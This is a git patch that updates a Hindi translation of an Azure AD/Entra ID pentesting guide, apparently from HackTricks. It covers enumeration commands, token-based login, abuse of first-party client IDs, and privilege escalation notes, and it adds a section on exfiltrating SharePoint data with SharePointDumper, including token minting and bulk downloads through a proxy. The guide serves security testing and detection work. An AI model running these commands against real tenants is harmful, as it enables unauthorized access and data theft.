From 21763755d3ebed6ed624e9f09975e6daf5090859 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:18:31 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur --- .../azure-security/az-services/az-azuread.md | 209 ++++++++++++------ 1 file changed, 144 insertions(+), 65 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 6a97fcbbb..65acf7ef8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं। +Azure Active Directory (Azure AD) Microsoft की क्लाउड-आधारित सेवा है जो पहचान और अभिगम प्रबंधन के लिए कार्य करती है। यह कर्मचारियों को साइन इन करने और संगठन के भीतर तथा बाहर दोनों जगह संसाधनों तक पहुँच प्राप्त करने में सक्षम बनाती है, जिनमें Microsoft 365, the Azure portal, और कई अन्य SaaS एप्लिकेशन शामिल हैं। Azure AD का डिज़ाइन आवश्यक पहचान सेवाएँ प्रदान करने पर केंद्रित है, जिनमें विशेष रूप से **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** शामिल हैं। -Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है। +Azure AD की प्रमुख विशेषताओं में **मल्टी-फैक्टर ऑथेंटिकेशन** और **कंडीशनल एक्सेस** का समावेश है, साथ ही यह अन्य Microsoft सुरक्षा सेवाओं के साथ सहज एकीकरण प्रदान करता है। ये सुविधाएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को अपनी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। Microsoft के क्लाउड सेवाओं के इकोसिस्टम के एक मौलिक घटक के रूप में, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय भूमिका निभाता है। -## Enumeration +## सूचीकरण -### **Connection** +### **कनेक्शन** {{#tabs }} {{#tab name="az cli" }} @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,13 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -जब आप **CLI** के माध्यम से Azure में किसी भी प्रोग्राम के साथ **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** होती हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन वे डिफ़ॉल्ट रूप से अनुमत हैं**। +जब आप किसी प्रोग्राम से **CLI** के माध्यम से **Azure** में **login** करते हैं, तो आप **Microsoft** के अंतर्गत आने वाले किसी **tenant** का एक **Azure Application** उपयोग कर रहे होते हैं। ये Applications, जैसे आप अपने खाते में बना सकते हैं, **have a client id**। -उदाहरण के लिए, एक **powershell script** जो **प्रमाणित** करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम एडमिन उस एप्लिकेशन को **ब्लॉक कर सकता है** ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें। +आप **won't be able to see all of them** उन **allowed applications lists** में नहीं देख पाएँगे जो console में दिखती हैं, **but they are allowed by default**। -हालांकि, अन्य एप्लिकेशनों की **क्लाइंट-आईडी** हैं जो **आपको Azure से कनेक्ट करने की अनुमति देंगी**: +उदाहरण के लिए एक **powershell script** जो **authenticates** करती है, वह client id **`1950a258-227b-4e31-a9cf-717495945fc2`** वाले एक app का उपयोग करती है। भले ही वह app console में दिखाई न दे, एक sysadmin उस **block that application** कर सकता है ताकि users उन tools का उपयोग करके access न कर सकें जो उसी App के माध्यम से connect करते हैं। + +हालाँकि, ऐसे **other client-ids** भी हैं belonging to applications जो **will allow you to connect to Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -213,7 +216,7 @@ $token = Invoke-Authorize -Credential $credential ` -Verbose -Debug ` -InformationAction Continue ``` -### Tenants +### टेनेंट्स {{#tabs }} {{#tab name="az cli" }} @@ -224,7 +227,7 @@ az account tenant list {{#endtab }} {{#endtabs }} -### Users +### उपयोगकर्ता Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें: @@ -365,7 +368,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालाँकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA की आवश्यकता होगी यदि** वह किसी विशेष स्थान, ब्राउज़र या **कुछ शर्त** से लॉग इन करता है। यदि इन नीतियों को सही तरीके से कॉन्फ़िगर नहीं किया गया तो ये **bypasses** के प्रति संवेदनशील हो सकती हैं। जांचें: +यह सलाह दी जाती है कि हर उपयोगकर्ता में MFA जोड़ा जाए; हालांकि, कुछ कंपनियाँ इसे सक्षम नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता से **MFA आवश्यक होगा यदि** वह किसी विशिष्ट स्थान, ब्राउज़र या **किसी शर्त** से लॉग इन करता है। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर न की जाएँ तो **bypasses** के प्रति संवेदनशील हो सकती हैं। देखें: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -373,7 +376,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Groups -Entra ID समूहों के बारे में अधिक जानकारी के लिए जांचें: +Entra ID समूहों के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../az-basic-information/ @@ -482,21 +485,21 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### समूह में उपयोगकर्ता जोड़ें -समूह के मालिक नए उपयोगकर्ताओं को समूह में जोड़ सकते हैं +समूह के मालिक समूह में नए उपयोगकर्ताओं को जोड़ सकते हैं ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> समूह गतिशील हो सकते हैं, जिसका अर्थ है कि **यदि एक उपयोगकर्ता कुछ शर्तों को पूरा करता है, तो उसे एक समूह में जोड़ा जाएगा**। बेशक, यदि शर्तें **गुणों** पर आधारित हैं जिन्हें एक **उपयोगकर्ता** **नियंत्रित** कर सकता है, तो वह इस सुविधा का दुरुपयोग करके **अन्य समूहों में प्रवेश कर सकता है**।\ -> गतिशील समूहों का दुरुपयोग कैसे करें, यह देखने के लिए निम्नलिखित पृष्ठ देखें: +> Groups dynamic हो सकते हैं, जिसका मूलतः मतलब है कि **if a user fulfil certain conditions it will be added to a group**. बेशक, अगर शर्तें **attributes** पर आधारित हों जिन्हें कोई **user** **control** कर सकता है, तो वह इस फीचर का दुरुपयोग करके **get inside other groups** कर सकता है.\\ +> निम्नलिखित पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे करें: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### सेवा प्रमुख +### Service Principals -Entra ID सेवा प्रमुखों के बारे में अधिक जानकारी के लिए देखें: +Entra ID service principals के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../az-basic-information/ @@ -597,11 +600,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> एक सेवा प्रिंसिपल का मालिक इसका पासवर्ड बदल सकता है। +> Service Principal का Owner इसका पासवर्ड बदल सकता है।
-प्रत्येक एंटरप्राइज ऐप पर क्लाइंट सीक्रेट जोड़ने की सूची और प्रयास करें +प्रत्येक Enterprise App पर client secret सूचीबद्ध करें और जोड़ने का प्रयास करें ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -706,18 +709,18 @@ Write-Output "Failed to Enumerate the Applications." ```
-### Applications +### एप्लिकेशन -Applications के बारे में अधिक जानकारी के लिए देखें: +एप्लिकेशन के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../az-basic-information/ {{#endref}} -जब एक App उत्पन्न होता है, तो 2 प्रकार की अनुमतियाँ दी जाती हैं: +जब एक App जनरेट किया जाता है तो 2 प्रकार की अनुमतियाँ दी जाती हैं: -- **Permissions** जो **Service Principal** को दी जाती हैं -- **Permissions** जो **app** उपयोगकर्ता की **तरफ से** रख सकती है और उपयोग कर सकती है। +- **अनुमतियाँ** जिन्हें **Service Principal** को दिया जाता है +- **अनुमतियाँ** जो **app** के पास हो सकती हैं और **उपयोगकर्ता की ओर से** उपयोग की जा सकती हैं। {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +745,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,21 +822,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** में **escalate** कर सकता है।\ -> अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\ +> अधिक जानकारी के लिए [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> एक गुप्त स्ट्रिंग जिसका उपयोग एप्लिकेशन टोकन मांगते समय अपनी पहचान साबित करने के लिए करता है, वह एप्लिकेशन पासवर्ड है।\ -> इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\ -> ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\ -> **एप्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\ -> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित नहीं होते** और इनमें **MFA नहीं होगा।** +> टोकन अनुरोध करते समय अपनी पहचान साबित करने के लिए application जिस secret string का उपयोग करता है वह application password है।\ +> इसलिए, यदि आप यह **password** पा लेते हैं तो आप **service principal** के रूप में **tenant** के अंदर access कर सकते हैं।\ +> ध्यान दें कि यह password केवल इसे generate करने पर ही दिखाई देता है (आप इसे बदल सकते हैं पर फिर से प्राप्त नहीं कर सकते)।\ +> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\ +> इन service principals के रूप में किए गए logins **not marked as risky** होते हैं और वे **won't have MFA.** -Microsoft के सामान्य उपयोग किए जाने वाले App IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है। +It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Managed Identities के बारे में अधिक जानकारी के लिए देखें: +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -822,7 +852,7 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Azure Roles +### Azure भूमिकाएँ Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें: @@ -982,7 +1012,7 @@ Get-AzureADMSScopedRoleMembership -Id | fl * {{#endtab }} {{#endtabs }} -### उपकरण +### डिवाइस {{#tabs }} {{#tab name="az cli" }} @@ -1032,8 +1062,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> यदि एक डिवाइस (VM) **AzureAD से जुड़ा** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम** होंगे।\ -> इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का **स्वामी** है, तो वह **स्थानीय व्यवस्थापक** होगा। +> यदि कोई डिवाइस (VM) **AzureAD joined** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम होंगे**.\ +> इसके अलावा, यदि लॉग किए गए उपयोगकर्ता उस डिवाइस का **Owner** है, तो वह **local admin** होगा। ### प्रशासनिक इकाइयाँ @@ -1072,13 +1102,60 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Entra ID विशेषाधिकार वृद्धि +## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) + +हमलावर जिनके पास **delegated Microsoft Graph token** हो जिसमें **`Sites.Read.All`** या **`Sites.ReadWrite.All`** शामिल हो, वे Graph के माध्यम से **sites/drives/items** को सूचीबद्ध (enumerate) कर सकते हैं और फिर **SharePoint pre-authentication download URLs** के जरिए **file contents** को pull कर सकते हैं (time-limited URLs जो access token एम्बेड करते हैं)। [SharePointDumper](https://github.com/zh54321/SharePointDumper) स्क्रिप्ट पूरे फ्लो (enumeration → pre-auth downloads) को ऑटोमेट करती है और detection testing के लिए प्रति-रिक्वेस्ट telemetry जारी करती है। + +### Obtaining usable delegated tokens + +- SharePointDumper स्वयं **authenticate नहीं करता**; एक access token दें (वैकल्पिक रूप से refresh token)। +- Pre-consented **first-party clients** का दुरुपयोग करके बिना किसी app को register किए Graph token mint किया जा सकता है। उदाहरण `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations: +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> FOCI TRUE क्लाइंट्स डिवाइसों के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर reply URL origin validation को संतुष्ट करने के लिए `-Origin` की आवश्यकता होती है। + +### enumeration + exfiltration के लिए SharePointDumper चलाना + +- Custom UA / proxy / throttling के साथ Basic dump: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- स्कोप नियंत्रण: साइटों या एक्सटेंशनों को शामिल/बाहर करें और वैश्विक सीमाएँ: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **फिर से जारी रखें** रुके हुए रन (फिर से सूचीबद्ध करता है लेकिन डाउनलोड किए गए आइटम छोड़ देता है): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **HTTP 401 पर स्वचालित token refresh** (EntraTokenAid लोड होना आवश्यक है): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +ऑपरेशनल नोट्स: + +- मध्य-रन समाप्ति से बचने के लिए **CAE-enabled** टोकन पसंद करता है; टूल के API लॉग में रिफ्रेश प्रयास **लॉग नहीं** होते। +- **Graph + SharePoint** के लिए **CSV/JSON request logs** जनरेट करता है और एम्बेड किए गए SharePoint download tokens को डिफ़ॉल्ट रूप से रेडैक्ट करता है (ऑन/ऑफ किया जा सकता है)। +- डिटेक्शन/IR टेस्ट के दौरान ट्रैफ़िक शेपिंग के लिए **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, और **Ctrl+C-safe shutdown** सपोर्ट करता है। + +## Entra ID Privilege Escalation {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure विशेषाधिकार वृद्धि +## Azure Privilege Escalation {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md @@ -1086,60 +1163,62 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ## रक्षात्मक तंत्र -### विशेषाधिकार पहचान प्रबंधन (PIM) +### Privileged Identity Management (PIM) -Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को अनावश्यक रूप से उपयोगकर्ताओं को सौंपने से **रोकने** में मदद करता है। +Privileged Identity Management (PIM) Azure में उपयोगकर्ताओं को अनावश्यक रूप से अत्यधिक अधिकार दिए जाने से **रोकने** में मदद करता है। -PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे उस समय को इंगित करते हुए इसके लिए अनुरोध करना होगा जिसकी उसे आवश्यकता है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\ -ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा। +PIM की एक प्रमुख विशेषता यह है कि यह लगातार सक्रिय principals को roles असाइन न करने और उन्हें एक समयावधि के लिए **eligible for a period of time (e.g. 6months)** बनाने की अनुमति देता है। फिर, जब भी user उस role को सक्रिय करना चाहता है, उसे वह समय बताकर request करनी होगी जिस अवधि के लिए उसे privilege चाहिए (उदा. 3 hours)। फिर एक **admin needs to approve** the request.\ +ध्यान दें कि user समय को **extend** करने के लिए भी अनुरोध कर सकेगा। -इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो। +इसके अलावा, **PIM send emails** जब भी किसी को privileged role असाइन किया जा रहा हो।
-जब PIM सक्षम होता है, तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव होता है जैसे: +जब PIM सक्षम होता है, तो प्रत्येक role को निम्नलिखित आवश्यकताओं के साथ configure करना संभव है: -- सक्रियण की अधिकतम अवधि (घंटे) -- सक्रियण पर MFA की आवश्यकता -- शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता -- सक्रियण पर औचित्य की आवश्यकता -- सक्रियण पर टिकट जानकारी की आवश्यकता -- सक्रिय करने के लिए अनुमोदन की आवश्यकता -- योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय -- जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए और भी बहुत सी कॉन्फ़िगरेशन +- सक्रियकरण की अधिकतम अवधि (घंटों में) +- सक्रियकरण पर MFA आवश्यक +- Conditional Access authentication context की आवश्यकता +- सक्रियकरण पर justification आवश्यक +- सक्रियकरण पर ticket जानकारी आवश्यक +- सक्रिय करने के लिए approval आवश्यक +- eligible assignments समाप्त होने का अधिकतम समय +- उस role के साथ कुछ क्रियाएँ होने पर कब और किसे notifications भेजनी हैं, इस पर और भी कई configurations -### शर्तीय पहुँच नीतियाँ +### Conditional Access Policies -जांचें: +देखें: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra पहचान सुरक्षा +### Entra Identity Protection -Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है** तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है। +Entra Identity Protection एक security service है जो यह **पता लगाने** की अनुमति देता है कि कब कोई user या sign-in स्वीकार करने के लिहाज़ से बहुत risky है, और user या उस sign-in attempt को **ब्लॉक** करने की अनुमति देता है। -यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **निष्क्रिय** है: +यह admin को configure करने देता है कि प्रयासों को कब **ब्लॉक** किया जाए — जब जोखिम "Low and above", "Medium and above" या "High" हो। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **disabled** है:
> [!TIP] -> आजकल, इन प्रतिबंधों को शर्तीय पहुँच नीतियों के माध्यम से जोड़ने की सिफारिश की जाती है जहाँ समान विकल्पों को कॉन्फ़िगर करना संभव है। +> आजकल यह सुझाया जाता है कि इन्हें Conditional Access policies के माध्यम से जोड़ा जाए जहाँ समान विकल्प configure किए जा सकते हैं। -### Entra पासवर्ड सुरक्षा +### Entra Password Protection -Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है जब कई असफल लॉगिन प्रयास होते हैं**।\ -यह एक **कस्टम पासवर्ड सूची** को भी **बैन** करने की अनुमति देती है जिसे आपको प्रदान करना होगा। +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक security feature है जो **कमज़ोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है — कई असफल लॉगिन प्रयास होने पर खातों को लॉक कर देता है**।\ +यह आपको एक कस्टम पासवर्ड सूची **ban** करने की भी अनुमति देता है जिसे आपको प्रदान करना होता है। -यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर **लागू** किया जा सकता है। +इसे क्लाउड स्तर पर और on-premises Active Directory दोनों पर **लागू** किया जा सकता है। -डिफ़ॉल्ट मोड **ऑडिट** है: +डिफ़ॉल्ट मोड **Audit** है:
-## संदर्भ +## References - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}